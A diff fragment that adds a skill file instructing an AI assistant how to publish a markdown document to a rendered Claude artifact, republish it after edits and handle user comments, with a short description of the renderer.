+ ' \
32
+ | sort -u -t: -k1,1 -k2,2n
@@ -0,0 +1,70 @@
1
+ ---
2
+ name: markdown-review
3
+ description: "MUST READ whenever you and the user are writing, editing or reviewing a markdown document together and the user needs to read it: a design doc, plan, guide, README, spec or any other .md file. Publishes the file as-is to a Claude artifact that renders it, so the user reads it formatted and comments on it, and republishes after every change."
4
+ verified: 2026-10-25
5
+ ---
6
+
7
+ # Markdown review
8
+
9
+ The user reads markdown rendered, not raw. While a markdown file is being written or reviewed
10
+ together, it lives on a Claude artifact made of three files:
11
+
12
+ 1. **`index.html`:** this skill's `assets/index.html`, a renderer that never changes.
13
+ 2. **`document.json`:** `{ "file": "<name>.md" }`, telling the renderer which file to load.
14
+ 3. **`<name>.md`:** the markdown file itself, published unchanged under its real name.
15
+
16
+ The `.md` file in the repo stays the source of truth. The artifact is only a view of it.
17
+
18
+ ## Publish
19
+
20
+ 1. **Stage:** run this skill's `scripts/stage <markdown-file> <out-dir>`, with `<out-dir>` a
21
+ folder for this document in the session's scratch directory, such as
22
+ `<scratch>/markdown-review/<name>`. It prints three lines:
23
+ ```
24
+ PAGE: <out-dir>/index.html
25
+ MANIFEST: <out-dir>/document.json
26
+ MARKDOWN: <name>.md <- <absolute path>
27
+ ```
28
+ 2. **Publish** with the Artifact tool:
29
+ - `file_path`: the `PAGE` path.
30
+ - `files`: `{"document.json": "<MANIFEST path>", "<name>.md": {"from": "<absolute path>", "contentType": "text/markdown"}}`.
31
+ - `icon`: `document`, on the first publish only.
32
+ - `description`: one sentence naming the document.
33
+ 3. **Link:** give the user the artifact link.
34
+
35
+ A `files` source must be under the working directory or the scratch directory. When the
36
+ markdown file is elsewhere, copy it into `<out-dir>` first and publish the copy.
37
+
38
+ Images the markdown references by relative path render only if published too: add each to
39
+ `files` under the same relative path.
40
+
41
+ ## After every change
42
+
43
+ Republish whenever the markdown file changes, without being asked:
44
+
45
+ - **Same session:** publish again with the same `file_path` and the `<name>.md` entry in
46
+ `files`. The page and `document.json` need no restaging.
47
+ - **Later session:** the scratch folder is gone. Run `scripts/stage` again, read the artifact
48
+ with `action: "read"`, then publish with its `url`.
49
+ - **Renamed file:** restage so `document.json` names the new file, and remove the old one
50
+ with `"<old>.md": null` in `files`.
51
+
52
+ ## Review
53
+
54
+ Comments use the artifact's built-in comments: the user selects text and comments on it, and
55
+ you read and answer the threads with `ArtifactComments`. Never add a comment or notes UI to
56
+ the page; see the `artifacts` skill.
57
+
58
+ Apply the changes a comment asks for to the `.md` file in the repo, never to the artifact,
59
+ then republish.
60
+
61
+ ## The renderer
62
+
63
+ - **Markdown:** GitHub-flavored, through `marked`, sanitized with `DOMPurify`.
64
+ - **Diagrams:** fenced `mermaid` blocks render as diagrams.
65
+ - **Title:** the browser tab shows the document's first heading.
66
+ - **Outline:** a side panel lists the headings and jumps to each; it and the document scroll
67
+ separately, and on narrow screens it opens from an Outline button.
68
+ - **Themes:** light and dark follow the viewer.
69
+
70
+ Change the renderer only in this skill's `assets/index.html`, so every document gets the fix.